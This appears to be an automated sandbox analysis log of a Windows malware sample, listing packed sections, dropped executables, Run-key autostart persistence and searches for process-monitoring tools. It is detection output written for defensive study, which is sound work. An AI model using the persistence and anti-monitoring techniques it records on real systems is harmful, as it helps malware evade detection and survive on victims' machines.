Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Unpacked PE file: 3.2.NN5L9AGTEIQO79C9NX.exe.bf0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;goqfmtnt:EW;dqkmyhqi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;goqfmtnt:EW;dqkmyhqi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.950000.0.unpack :EW;.rsrc:W;.idata :W; :EW;goqfmtnt:EW;dqkmyhqi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;goqfmtnt:EW;dqkmyhqi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.950000.0.unpack :EW;.rsrc:W;.idata :W; :EW;goqfmtnt:EW;dqkmyhqi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;goqfmtnt:EW;dqkmyhqi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Unpacked PE file: 46.2.PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.e80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;goqfmtnt:EW;dqkmyhqi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;goqfmtnt:EW;dqkmyhqi:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x2ded76 should be: 0x2e1eab
Source: 96b4cd4489.exe.8.dr	Static PE information: real checksum: 0x214cb8 should be: 0x20790c
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: real checksum: 0x1ce998 should be: 0x1cf616
Source: LY9L8IB5BIZFUZH5SXM3A25NO.exe.9.dr	Static PE information: real checksum: 0x2be468 should be: 0x2b4695
Source: ef2e7274a0.exe.8.dr	Static PE information: real checksum: 0x2ded76 should be: 0x2e1eab
Source: chrome.dll.10.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: real checksum: 0x1ce998 should be: 0x1cf616
Source: 2JQFWL80C2PDPM4ZGE0SD0WKWOYQK.exe.32.dr	Static PE information: real checksum: 0x2be468 should be: 0x2b4695
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x214cb8 should be: 0x20790c
Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe.0.dr	Static PE information: real checksum: 0x2be468 should be: 0x2b4695
Source: file.exe	Static PE information: real checksum: 0x2ded76 should be: 0x2e1eab
Source: 2J7JZ7M9HIPPAJBVZPWDBIK4VI.exe.25.dr	Static PE information: real checksum: 0x2be468 should be: 0x2b4695
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: real checksum: 0x1ce998 should be: 0x1cf616
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1ce998 should be: 0x1cf616
Source: 01b01f6224.exe.8.dr	Static PE information: real checksum: 0x2ded76 should be: 0x2e1eab
Source: 0bdaf26796.exe.8.dr	Static PE information: real checksum: 0x2ded76 should be: 0x2e1eab
Source: num[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: real checksum: 0x1ce998 should be: 0x1cf616

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: swezfqkm
Source: file.exe	Static PE information: section name: xdynphyp
Source: file.exe	Static PE information: section name: .taggant
Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe.0.dr	Static PE information: section name:
Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe.0.dr	Static PE information: section name: .idata
Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe.0.dr	Static PE information: section name: mumtztzr
Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe.0.dr	Static PE information: section name: ueaihgqr
Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe.0.dr	Static PE information: section name: .taggant
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: section name:
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: section name: .idata
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: section name:
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: section name: goqfmtnt
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: section name: dqkmyhqi
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: goqfmtnt
Source: skotes.exe.3.dr	Static PE information: section name: dqkmyhqi
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name: swezfqkm
Source: random[1].exe.8.dr	Static PE information: section name: xdynphyp
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: 0bdaf26796.exe.8.dr	Static PE information: section name:
Source: 0bdaf26796.exe.8.dr	Static PE information: section name: .idata
Source: 0bdaf26796.exe.8.dr	Static PE information: section name: swezfqkm
Source: 0bdaf26796.exe.8.dr	Static PE information: section name: xdynphyp
Source: 0bdaf26796.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: aslwbrhj
Source: random[1].exe0.8.dr	Static PE information: section name: bqvglmea
Source: random[1].exe0.8.dr	Static PE information: section name: .taggant
Source: 96b4cd4489.exe.8.dr	Static PE information: section name:
Source: 96b4cd4489.exe.8.dr	Static PE information: section name: .rsrc
Source: 96b4cd4489.exe.8.dr	Static PE information: section name: .idata
Source: 96b4cd4489.exe.8.dr	Static PE information: section name:
Source: 96b4cd4489.exe.8.dr	Static PE information: section name: aslwbrhj
Source: 96b4cd4489.exe.8.dr	Static PE information: section name: bqvglmea
Source: 96b4cd4489.exe.8.dr	Static PE information: section name: .taggant
Source: ef2e7274a0.exe.8.dr	Static PE information: section name:
Source: ef2e7274a0.exe.8.dr	Static PE information: section name: .idata
Source: ef2e7274a0.exe.8.dr	Static PE information: section name: swezfqkm
Source: ef2e7274a0.exe.8.dr	Static PE information: section name: xdynphyp
Source: ef2e7274a0.exe.8.dr	Static PE information: section name: .taggant
Source: 01b01f6224.exe.8.dr	Static PE information: section name:
Source: 01b01f6224.exe.8.dr	Static PE information: section name: .idata
Source: 01b01f6224.exe.8.dr	Static PE information: section name: swezfqkm
Source: 01b01f6224.exe.8.dr	Static PE information: section name: xdynphyp
Source: 01b01f6224.exe.8.dr	Static PE information: section name: .taggant
Source: LY9L8IB5BIZFUZH5SXM3A25NO.exe.9.dr	Static PE information: section name:
Source: LY9L8IB5BIZFUZH5SXM3A25NO.exe.9.dr	Static PE information: section name: .idata
Source: LY9L8IB5BIZFUZH5SXM3A25NO.exe.9.dr	Static PE information: section name: mumtztzr
Source: LY9L8IB5BIZFUZH5SXM3A25NO.exe.9.dr	Static PE information: section name: ueaihgqr
Source: LY9L8IB5BIZFUZH5SXM3A25NO.exe.9.dr	Static PE information: section name: .taggant
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: section name:
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: section name: .idata
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: section name:
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: section name: goqfmtnt
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: section name: dqkmyhqi
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: section name: .taggant
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: section name:
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: section name: .idata
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: section name:
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: section name: goqfmtnt
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: section name: dqkmyhqi
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: section name: .taggant
Source: 2J7JZ7M9HIPPAJBVZPWDBIK4VI.exe.25.dr	Static PE information: section name:
Source: 2J7JZ7M9HIPPAJBVZPWDBIK4VI.exe.25.dr	Static PE information: section name: .idata
Source: 2J7JZ7M9HIPPAJBVZPWDBIK4VI.exe.25.dr	Static PE information: section name: mumtztzr
Source: 2J7JZ7M9HIPPAJBVZPWDBIK4VI.exe.25.dr	Static PE information: section name: ueaihgqr
Source: 2J7JZ7M9HIPPAJBVZPWDBIK4VI.exe.25.dr	Static PE information: section name: .taggant
Source: 2JQFWL80C2PDPM4ZGE0SD0WKWOYQK.exe.32.dr	Static PE information: section name:
Source: 2JQFWL80C2PDPM4ZGE0SD0WKWOYQK.exe.32.dr	Static PE information: section name: .idata
Source: 2JQFWL80C2PDPM4ZGE0SD0WKWOYQK.exe.32.dr	Static PE information: section name: mumtztzr
Source: 2JQFWL80C2PDPM4ZGE0SD0WKWOYQK.exe.32.dr	Static PE information: section name: ueaihgqr
Source: 2JQFWL80C2PDPM4ZGE0SD0WKWOYQK.exe.32.dr	Static PE information: section name: .taggant
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: section name:
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: section name: .idata
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: section name:
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: section name: goqfmtnt
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: section name: dqkmyhqi
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2ECF push cs; iretd	0_3_00CF2ED6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2ECF push cs; iretd	0_3_00CF2ED6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2EDB push 7DD800CFh; iretd	0_3_00CF2F76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2EDB push 7DD800CFh; iretd	0_3_00CF2F76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CED4F5 push ss; iretd	0_3_00CED50D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CED4F5 push ss; iretd	0_3_00CED50D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF1689 push ss; iretd	0_3_00CF168A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF1689 push ss; iretd	0_3_00CF168A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2E48 push cs; iretd	0_3_00CF2ED6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2E48 push 7DD800CFh; iretd	0_3_00CF2F76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2E48 push cs; iretd	0_3_00CF2ED6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2E48 push 7DD800CFh; iretd	0_3_00CF2F76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CE81DC pushad ; iretd	0_3_00CE81DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CE81D5 pushad ; iretd	0_3_00CE81D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF4CE1 pushad ; iretd	0_3_00CF4CF2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF5009 push eax; iretd	0_3_00CF500A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF4C14 pushad ; iretd	0_3_00CF4CF2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2ECF push cs; iretd	0_3_00CF2ED6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2ECF push cs; iretd	0_3_00CF2ED6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2EDB push 7DD800CFh; iretd	0_3_00CF2F76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2EDB push 7DD800CFh; iretd	0_3_00CF2F76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF4CE1 pushad ; iretd	0_3_00CF4CF2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CED4F5 push ss; iretd	0_3_00CED50D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CED4F5 push ss; iretd	0_3_00CED50D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF1689 push ss; iretd	0_3_00CF168A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF1689 push ss; iretd	0_3_00CF168A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2E48 push cs; iretd	0_3_00CF2ED6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2E48 push 7DD800CFh; iretd	0_3_00CF2F76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2E48 push cs; iretd	0_3_00CF2ED6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2E48 push 7DD800CFh; iretd	0_3_00CF2F76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF5009 push eax; iretd	0_3_00CF500A

Source: file.exe	Static PE information: section name: entropy: 7.973254605361078
Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe.0.dr	Static PE information: section name: entropy: 7.749235458748969
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: section name: entropy: 7.983844962141503
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: section name: goqfmtnt entropy: 7.954710993159616
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.983844962141503
Source: skotes.exe.3.dr	Static PE information: section name: goqfmtnt entropy: 7.954710993159616
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.973254605361078
Source: 0bdaf26796.exe.8.dr	Static PE information: section name: entropy: 7.973254605361078
Source: random[1].exe0.8.dr	Static PE information: section name: aslwbrhj entropy: 7.95370802823853
Source: 96b4cd4489.exe.8.dr	Static PE information: section name: aslwbrhj entropy: 7.95370802823853
Source: ef2e7274a0.exe.8.dr	Static PE information: section name: entropy: 7.973254605361078
Source: 01b01f6224.exe.8.dr	Static PE information: section name: entropy: 7.973254605361078
Source: LY9L8IB5BIZFUZH5SXM3A25NO.exe.9.dr	Static PE information: section name: entropy: 7.749235458748969
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: section name: entropy: 7.983844962141503
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: section name: goqfmtnt entropy: 7.954710993159616
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: section name: entropy: 7.983844962141503
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: section name: goqfmtnt entropy: 7.954710993159616
Source: 2J7JZ7M9HIPPAJBVZPWDBIK4VI.exe.25.dr	Static PE information: section name: entropy: 7.749235458748969
Source: 2JQFWL80C2PDPM4ZGE0SD0WKWOYQK.exe.32.dr	Static PE information: section name: entropy: 7.749235458748969
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: section name: entropy: 7.983844962141503
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: section name: goqfmtnt entropy: 7.954710993159616

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File created: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File created: C:\Users\user\AppData\Local\Temp\2JQFWL80C2PDPM4ZGE0SD0WKWOYQK.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File created: C:\Users\user\AppData\Local\Temp\50NZQQK98UQJAWNGOUBIYXS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003023001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File created: C:\Users\user\AppData\Local\Temp\2J7JZ7M9HIPPAJBVZPWDBIK4VI.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File created: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File created: C:\Users\user\AppData\Local\Temp\CT05WZXFBOD5DYW9HOHXFI0FQUF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe

File created: C:\ProgramData\chrome.dll

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0bdaf26796.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 96b4cd4489.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 60eccf97f7.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Window searched: window name: RegmonClass
